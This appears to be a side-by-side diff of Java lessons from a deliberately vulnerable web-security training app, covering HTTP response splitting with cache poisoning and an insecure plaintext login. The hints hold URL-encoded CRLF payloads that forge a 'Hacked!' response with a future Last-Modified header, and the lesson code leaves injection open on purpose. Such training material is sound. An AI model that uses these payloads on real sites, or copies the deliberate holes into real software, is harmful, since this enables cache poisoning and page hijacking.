msg.append("This lesson has detected your successful attack, "); msg.append("This lesson has detected your successful attack, ");
msg.append("time to elevate your attack to a higher level. "); msg.append("time to elevate your attack to a higher level. ");
msg.append("Try again and add Last-Modified header, intercept"); msg.append("Try again and add Last-Modified header, intercept");
msg.append("the reply and replace it with a 304 reply."); msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString()); s.setMessage(msg.toString());
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
//makeSuccess(s); //makeSuccess(s);
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
return doHTTPSplitting(s); return doHTTPSplitting(s);
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
return doCachePoisining(s); return doCachePoisining(s);
} }
protected Element createAttackEnvironment(WebSession s) throws Exception protected Element createAttackEnvironment(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String lang = null; String lang = null;
if (getLessonTracker(s).getStage() == 1) if (getLessonTracker(s).getStage() == 1)
{ {
ec.addElement(new H3("Stage 1: HTTP Splitting:<br><br>")); ec.addElement(new H3("Stage 1: HTTP Splitting:<br><br>"));
} }
else else
{ {
ec.addElement(new H3("Stage 2: Cache Poisoning:<br><br>")); ec.addElement(new H3("Stage 2: Cache Poisoning:<br><br>"));
} }
ec.addElement(new StringElement("Search by country : ")); ec.addElement(new StringElement("Search by country : "));
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
// add the search by field // add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Search!"); Element b = ECSFactory.makeButton("Search!");
ec.addElement(b); ec.addElement(b);
return ec; return ec;
} }
protected Element doCachePoisining(WebSession s) throws Exception protected Element doCachePoisining(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison" s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ " the victim's cache. Type 'restart' in the input field if you wish to " + " the victim's cache. Type 'restart' in the input field if you wish to "
+ " to return to the HTTP Splitting lesson.<br><br>"); + " to return to the HTTP Splitting lesson.<br><br>");
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart")) if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart"))
{ {
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1"); getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (doHTTPSplitting(s)); return (doHTTPSplitting(s));
} }
ec.addElement(createAttackEnvironment(s)); ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser().getStringParameter(REDIRECT, ""); String fromRedirect = s.getParser().getStringParameter(REDIRECT, "");
if (lang.length() != 0 && fromRedirect.length() != 0) if (lang.length() != 0 && fromRedirect.length() != 0)
{ {
String lineSep = "\r\n"; String lineSep = "\r\n";
String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang
.indexOf(lineSep, lang.indexOf("Last-Modified:"))); .indexOf(lineSep, lang.indexOf("Last-Modified:")));
if (dateStr.length() > 0) if (dateStr.length() > 0)
{ {
Calendar cal = Calendar.getInstance(); Calendar cal = Calendar.getInstance();
DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US); DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime())) if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{ {
makeSuccess(s); makeSuccess(s);
} }
} }
} }
} catch (Exception ex) } catch (Exception ex)
{ {
ec.addElement(new P().addElement(ex.getMessage())); ec.addElement(new P().addElement(ex.getMessage()));
} }
return ec; return ec;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.GENERAL; return Category.GENERAL;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>();
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux.");
hints.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/> Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E <br/>For insight into what this does, use the PHP charset encoder to decode it.");
hints.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E");
hints.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
hints.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
return hints;
List<String> hints = new ArrayList<String>(); }
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line in Windows and only LF (%0a) in Linux.");
hints.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/> Try: foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked!%3C%2Fhtml%3E <br/>For insight into what this does, use the PHP charset encoder to decode it.");
hints
.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
hints
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try foobar%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202080%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0A%3Chtml%3EHacked%20J%3C%2Fhtml%3E");
hints
.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
hints
.add("NOTE: THIS HINT IS FOR WINDOWS AND HAS TO BE ALTERED FOR ANOTHER SYSTEM <br/>Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
return hints;
} private final static Integer DEFAULT_RANKING = new Integer(20);
private final static Integer DEFAULT_RANKING = new Integer(20); protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() /**
{ * Gets the title attribute of the HelloScreen object
return DEFAULT_RANKING; *
} * @return The title value
*/
public String getTitle()
{
return ("HTTP Splitting");
}
/** public Element getCredits()
* Gets the title attribute of the HelloScreen object {
* return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
* @return The title value }
*/
public String getTitle()
{
return ("HTTP Splitting");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
}
} }

View File

@ -26,471 +26,471 @@ import org.owasp.webgoat.session.WebSession;
public class InsecureLogin extends SequentialLessonAdapter public class InsecureLogin extends SequentialLessonAdapter
{ {
private final static String USER = "clear_user"; private final static String USER = "clear_user";
private final static String PASSWORD = "clear_pass"; private final static String PASSWORD = "clear_pass";
private final static String ANSWER = "clear_answer"; private final static String ANSWER = "clear_answer";
private final static String YESNO = "yesno"; private final static String YESNO = "yesno";
private final static String PROTOCOL = "protocol"; private final static String PROTOCOL = "protocol";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createStagedContent(s); return super.createStagedContent(s);
} }
@Override @Override
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
String answer = s.getParser().getStringParameter(ANSWER, ""); String answer = s.getParser().getStringParameter(ANSWER, "");
if (answer.equals("sniffy")) if (answer.equals("sniffy"))
{ {
s.setMessage("You completed Stage 1!"); s.setMessage("You completed Stage 1!");
getLessonTracker(s).setStage(2); getLessonTracker(s).setStage(2);
} }
return createMainContent(s); return createMainContent(s);
} }
@Override @Override
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
String protocol = s.getParser().getStringParameter(PROTOCOL, ""); String protocol = s.getParser().getStringParameter(PROTOCOL, "");
String yesno = s.getParser().getStringParameter(YESNO, ""); String yesno = s.getParser().getStringParameter(YESNO, "");
if (yesno.equals("No") && protocol.equals("TLS")) if (yesno.equals("No") && protocol.equals("TLS"))
{ {
makeSuccess(s); makeSuccess(s);
} }
return createMainContent(s); return createMainContent(s);
} }
/** /**
* Creation of the main content * Creation of the main content
* *
* @param s * @param s
* @return Element * @return Element
*/ */
protected Element createMainContent(WebSession s) protected Element createMainContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
style sty = new style(); style sty = new style();
sty sty
.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}");
ec.addElement(sty); ec.addElement(sty);
Div wrapperDiv = new Div(); Div wrapperDiv = new Div();
wrapperDiv.setID("lesson_wrapper"); wrapperDiv.setID("lesson_wrapper");
Div headerDiv = new Div(); Div headerDiv = new Div();
headerDiv.setID("lesson_header"); headerDiv.setID("lesson_header");
Div workspaceDiv = new Div(); Div workspaceDiv = new Div();
workspaceDiv.setClass("lesson_workspace"); workspaceDiv.setClass("lesson_workspace");
wrapperDiv.addElement(headerDiv); wrapperDiv.addElement(headerDiv);
wrapperDiv.addElement(workspaceDiv); wrapperDiv.addElement(workspaceDiv);
ec.addElement(wrapperDiv); ec.addElement(wrapperDiv);
String user = s.getParser().getStringParameter(USER, ""); String user = s.getParser().getStringParameter(USER, "");
String password = s.getParser().getStringParameter(PASSWORD, ""); String password = s.getParser().getStringParameter(PASSWORD, "");
if (!(user + password).equals("") && correctLogin(user, password, s)) if (!(user + password).equals("") && correctLogin(user, password, s))
{ {
workspaceDiv.addElement(createSuccessfulLoginContent(s, user)); workspaceDiv.addElement(createSuccessfulLoginContent(s, user));
} }
else else
{ {
workspaceDiv.addElement(createLogInContent()); workspaceDiv.addElement(createLogInContent());
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Create content for logging in * Create content for logging in
* *
* @param ec * @param ec
*/ */
private Element createLogInContent() private Element createLogInContent()
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Div loginDiv = new Div(); Div loginDiv = new Div();
loginDiv.setID("lesson_login"); loginDiv.setID("lesson_login");
Table table = new Table(); Table table = new Table();
table.addAttribute("align='center'", 0); table.addAttribute("align='center'", 0);
TR tr1 = new TR(); TR tr1 = new TR();
TD td1 = new TD(); TD td1 = new TD();
TD td2 = new TD(); TD td2 = new TD();
td1.addElement(new StringElement("Enter your name: ")); td1.addElement(new StringElement("Enter your name: "));
td2.addElement(new Input(Input.TEXT, USER).setValue("Jack").setReadOnly(true)); td2.addElement(new Input(Input.TEXT, USER).setValue("Jack").setReadOnly(true));
tr1.addElement(td1); tr1.addElement(td1);
tr1.addElement(td2); tr1.addElement(td2);
TR tr2 = new TR(); TR tr2 = new TR();
TD td3 = new TD(); TD td3 = new TD();
TD td4 = new TD(); TD td4 = new TD();
td3.addElement(new StringElement("Enter your password: ")); td3.addElement(new StringElement("Enter your password: "));
td4.addElement(new Input(Input.PASSWORD, PASSWORD).setValue("sniffy").setReadOnly(true)); td4.addElement(new Input(Input.PASSWORD, PASSWORD).setValue("sniffy").setReadOnly(true));
tr2.addElement(td3); tr2.addElement(td3);
tr2.addElement(td4); tr2.addElement(td4);
TR tr3 = new TR(); TR tr3 = new TR();
TD td5 = new TD(); TD td5 = new TD();
td5.setColSpan(2); td5.setColSpan(2);
td5.setAlign("center"); td5.setAlign("center");
td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
tr3.addElement(td5); tr3.addElement(td5);
table.addElement(tr1); table.addElement(tr1);
table.addElement(tr2); table.addElement(tr2);
table.addElement(tr3); table.addElement(tr3);
loginDiv.addElement(table); loginDiv.addElement(table);
ec.addElement(loginDiv); ec.addElement(loginDiv);
return ec; return ec;
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INSECURE_COMMUNICATION; return Category.INSECURE_COMMUNICATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Stage 1: Use a sniffer to record " + "the traffic"); hints.add("Stage 1: Use a sniffer to record " + "the traffic");
hints.add("Stage 1: What Protocol does the request use?"); hints.add("Stage 1: What Protocol does the request use?");
hints.add("Stage 1: What kind of request is started when " + "you click on the button?"); hints.add("Stage 1: What kind of request is started when " + "you click on the button?");
hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer"); hints.add("Stage 1: Take a closer look at the HTTP Post request in " + "your sniffer");
hints.add("Stage 1: The password field has the name clear_pass"); hints.add("Stage 1: The password field has the name clear_pass");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Insecure Login"); return ("Insecure Login");
} }
@Override @Override
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
String instructions = ""; String instructions = "";
instructions = "<b>For this lesson you need to " + "have a server client setup. Please refer to the" instructions = "<b>For this lesson you need to " + "have a server client setup. Please refer to the"
+ "Tomcat Configuration in the Introduction section.</b><br><br> Stage" + stage + ": "; + "Tomcat Configuration in the Introduction section.</b><br><br> Stage" + stage + ": ";
if (stage == 1) if (stage == 1)
{ {
instructions += "In this stage you have to sniff the " instructions += "In this stage you have to sniff the "
+ "password. And answer the question after the login."; + "password. And answer the question after the login.";
} }
if (stage == 2) if (stage == 2)
{ {
instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// " instructions += "Now you have to change to a secure " + "connection. The URL should start with https:// "
+ "If your browser is complaining about the certificate just " + "If your browser is complaining about the certificate just "
+ "ignore it. Sniff again the traffic and answer the" + " questions"; + "ignore it. Sniff again the traffic and answer the" + " questions";
} }
return instructions; return instructions;
} }
/** /**
* See if the password and corresponding user is valid * See if the password and corresponding user is valid
* *
* @param userName * @param userName
* @param password * @param password
* @param s * @param s
* @return true if the password was correct * @return true if the password was correct
*/ */
private boolean correctLogin(String userName, String password, WebSession s) private boolean correctLogin(String userName, String password, WebSession s)
{ {
Connection connection = null; Connection connection = null;
try try
{ {
connection = DatabaseUtilities.getConnection(s); connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?";
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
prepStatement.setString(1, userName); prepStatement.setString(1, userName);
prepStatement.setString(2, password); prepStatement.setString(2, password);
ResultSet results = prepStatement.executeQuery(); ResultSet results = prepStatement.executeQuery();
if ((results != null) && (results.first() == true)) { if ((results != null) && (results.first() == true)) {
return true; return true;
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} finally } finally
{ {
try try
{ {
if (connection != null) if (connection != null)
{ {
connection.close(); connection.close();
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
} }
return false; return false;
} }
/** /**
* Create content after a successful login * Create content after a successful login
* *
* @param s * @param s
* @param ec * @param ec
*/ */
private Element createSuccessfulLoginContent(WebSession s, String user) private Element createSuccessfulLoginContent(WebSession s, String user)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String userDataStyle = "margin-top:50px;"; String userDataStyle = "margin-top:50px;";
Div userDataDiv = new Div(); Div userDataDiv = new Div();
userDataDiv.setStyle(userDataStyle); userDataDiv.setStyle(userDataStyle);
userDataDiv.addAttribute("align", "center"); userDataDiv.addAttribute("align", "center");
Table table = new Table(); Table table = new Table();
table.addAttribute("cellspacing", 10); table.addAttribute("cellspacing", 10);
table.addAttribute("cellpadding", 5); table.addAttribute("cellpadding", 5);
table.addAttribute("align", "center"); table.addAttribute("align", "center");
TR tr1 = new TR(); TR tr1 = new TR();
TR tr2 = new TR(); TR tr2 = new TR();
TR tr3 = new TR(); TR tr3 = new TR();
TR tr4 = new TR(); TR tr4 = new TR();
tr1.addElement(new TD("<b>Firstname:</b>")); tr1.addElement(new TD("<b>Firstname:</b>"));
tr1.addElement(new TD(user)); tr1.addElement(new TD(user));
try try
{ {
ResultSet results = getUser(user, s); ResultSet results = getUser(user, s);
results.first(); results.first();
tr2.addElement(new TD("<b>Lastname:</b>")); tr2.addElement(new TD("<b>Lastname:</b>"));
tr2.addElement(new TD(results.getString("last_name"))); tr2.addElement(new TD(results.getString("last_name")));
tr3.addElement(new TD("<b>Credit Card Type:</b>")); tr3.addElement(new TD("<b>Credit Card Type:</b>"));
tr3.addElement(new TD(results.getString("cc_type"))); tr3.addElement(new TD(results.getString("cc_type")));
tr4.addElement(new TD("<b>Credit Card Number:</b>")); tr4.addElement(new TD("<b>Credit Card Number:</b>"));
tr4.addElement(new TD(results.getString("cc_number"))); tr4.addElement(new TD(results.getString("cc_number")));
} }
catch (Exception e) catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
table.addElement(tr1); table.addElement(tr1);
table.addElement(tr2); table.addElement(tr2);
table.addElement(tr3); table.addElement(tr3);
table.addElement(tr4); table.addElement(tr4);
userDataDiv.addElement(table); userDataDiv.addElement(table);
ec.addElement(userDataDiv); ec.addElement(userDataDiv);
ec.addElement(createLogoutLink()); ec.addElement(createLogoutLink());
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
if (stage == 1) if (stage == 1)
{ {
ec.addElement(createPlaintextQuestionContent()); ec.addElement(createPlaintextQuestionContent());
} }
else if (stage == 2) else if (stage == 2)
{ {
ec.addElement(createSSLQuestionContent()); ec.addElement(createSSLQuestionContent());
} }
return ec; return ec;
} }
private Element createPlaintextQuestionContent() private Element createPlaintextQuestionContent()
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Div div = new Div(); Div div = new Div();
div.addAttribute("align", "center"); div.addAttribute("align", "center");
div.addElement(new BR()); div.addElement(new BR());
div.addElement(new BR()); div.addElement(new BR());
div.addElement("What was the password?"); div.addElement("What was the password?");
div.addElement(new Input(Input.TEXT, ANSWER)); div.addElement(new Input(Input.TEXT, ANSWER));
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
private Element createSSLQuestionContent() private Element createSSLQuestionContent()
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table selectTable = new Table(); Table selectTable = new Table();
TR tr1 = new TR(); TR tr1 = new TR();
TD td1 = new TD(); TD td1 = new TD();
TD td2 = new TD(); TD td2 = new TD();
TR tr2 = new TR(); TR tr2 = new TR();
TD td3 = new TD(); TD td3 = new TD();
TD td4 = new TD(); TD td4 = new TD();
tr1.addElement(td1); tr1.addElement(td1);
tr1.addElement(td2); tr1.addElement(td2);
tr2.addElement(td3); tr2.addElement(td3);
tr2.addElement(td4); tr2.addElement(td4);
selectTable.addElement(tr1); selectTable.addElement(tr1);
selectTable.addElement(tr2); selectTable.addElement(tr2);
Div div = new Div(); Div div = new Div();
div.addAttribute("align", "center"); div.addAttribute("align", "center");
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
td1.addElement("Is the password still transmited in plaintext?"); td1.addElement("Is the password still transmited in plaintext?");
Select yesNoSelect = new Select(); Select yesNoSelect = new Select();
yesNoSelect.setName(YESNO); yesNoSelect.setName(YESNO);
Option yesOption = new Option(); Option yesOption = new Option();
yesOption.addElement("Yes"); yesOption.addElement("Yes");
Option noOption = new Option(); Option noOption = new Option();
noOption.addElement("No"); noOption.addElement("No");
yesNoSelect.addElement(yesOption); yesNoSelect.addElement(yesOption);
yesNoSelect.addElement(noOption); yesNoSelect.addElement(noOption);
td2.addElement(yesNoSelect); td2.addElement(yesNoSelect);
td3.addElement("Which protocol is used for the transmission?"); td3.addElement("Which protocol is used for the transmission?");
Select protocolSelect = new Select(); Select protocolSelect = new Select();
protocolSelect.setName(PROTOCOL); protocolSelect.setName(PROTOCOL);
Option httpOption = new Option(); Option httpOption = new Option();
httpOption.addElement("HTTP"); httpOption.addElement("HTTP");
Option tcpOption = new Option(); Option tcpOption = new Option();
tcpOption.addElement("UDP"); tcpOption.addElement("UDP");
Option ipsecOption = new Option(); Option ipsecOption = new Option();
ipsecOption.addElement("IPSEC"); ipsecOption.addElement("IPSEC");
Option msnmsOption = new Option(); Option msnmsOption = new Option();
msnmsOption.addElement("MSNMS"); msnmsOption.addElement("MSNMS");
Option tlsOption = new Option(); Option tlsOption = new Option();
tlsOption.addElement("TLS"); tlsOption.addElement("TLS");
protocolSelect.addElement(httpOption); protocolSelect.addElement(httpOption);
protocolSelect.addElement(ipsecOption); protocolSelect.addElement(ipsecOption);
protocolSelect.addElement(msnmsOption); protocolSelect.addElement(msnmsOption);
protocolSelect.addElement(tcpOption); protocolSelect.addElement(tcpOption);
protocolSelect.addElement(tlsOption); protocolSelect.addElement(tlsOption);
td4.addElement(protocolSelect); td4.addElement(protocolSelect);
div.addElement(selectTable); div.addElement(selectTable);
div.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); div.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
/** /**
* Get a user by its name * Get a user by its name
* *
* @param user * @param user
* @param s * @param s
* @return ResultSet containing the user * @return ResultSet containing the user
*/ */
private ResultSet getUser(String user, WebSession s) private ResultSet getUser(String user, WebSession s)
{ {
Connection connection = null; Connection connection = null;
try try
{ {
connection = DatabaseUtilities.getConnection(s); connection = DatabaseUtilities.getConnection(s);
String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; String query = "SELECT * FROM user_data_tan WHERE first_name = ? ";
PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
prepStatement.setString(1, user); prepStatement.setString(1, user);
ResultSet results = prepStatement.executeQuery(); ResultSet results = prepStatement.executeQuery();
return results; return results;
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} finally } finally
{ {
try try
{ {
if (connection != null) if (connection != null)
{ {
connection.close(); connection.close();
} }
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
} }
return null; return null;
} }
/** /**
* Create a link for logging out * Create a link for logging out
* *
* @return Element * @return Element
*/ */
private Element createLogoutLink() private Element createLogoutLink()
{ {
A logoutLink = new A(); A logoutLink = new A();
logoutLink.addAttribute("href", getLink() + "&logout=true"); logoutLink.addAttribute("href", getLink() + "&logout=true");
logoutLink.addElement("Logout"); logoutLink.addElement("Logout");
String logoutStyle = "margin-right:50px; mrgin-top:30px"; String logoutStyle = "margin-right:50px; mrgin-top:30px";
Div logoutDiv = new Div(); Div logoutDiv = new Div();
logoutDiv.addAttribute("align", "right"); logoutDiv.addAttribute("align", "right");
logoutDiv.addElement(logoutLink); logoutDiv.addElement(logoutLink);
logoutDiv.setStyle(logoutStyle); logoutDiv.setStyle(logoutStyle);
return logoutDiv; return logoutDiv;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
} }
} }

View File

@ -52,247 +52,247 @@ import java.util.ArrayList;
public class JSONInjection extends LessonAdapter public class JSONInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(30); private final static Integer DEFAULT_RANKING = new Integer(30);
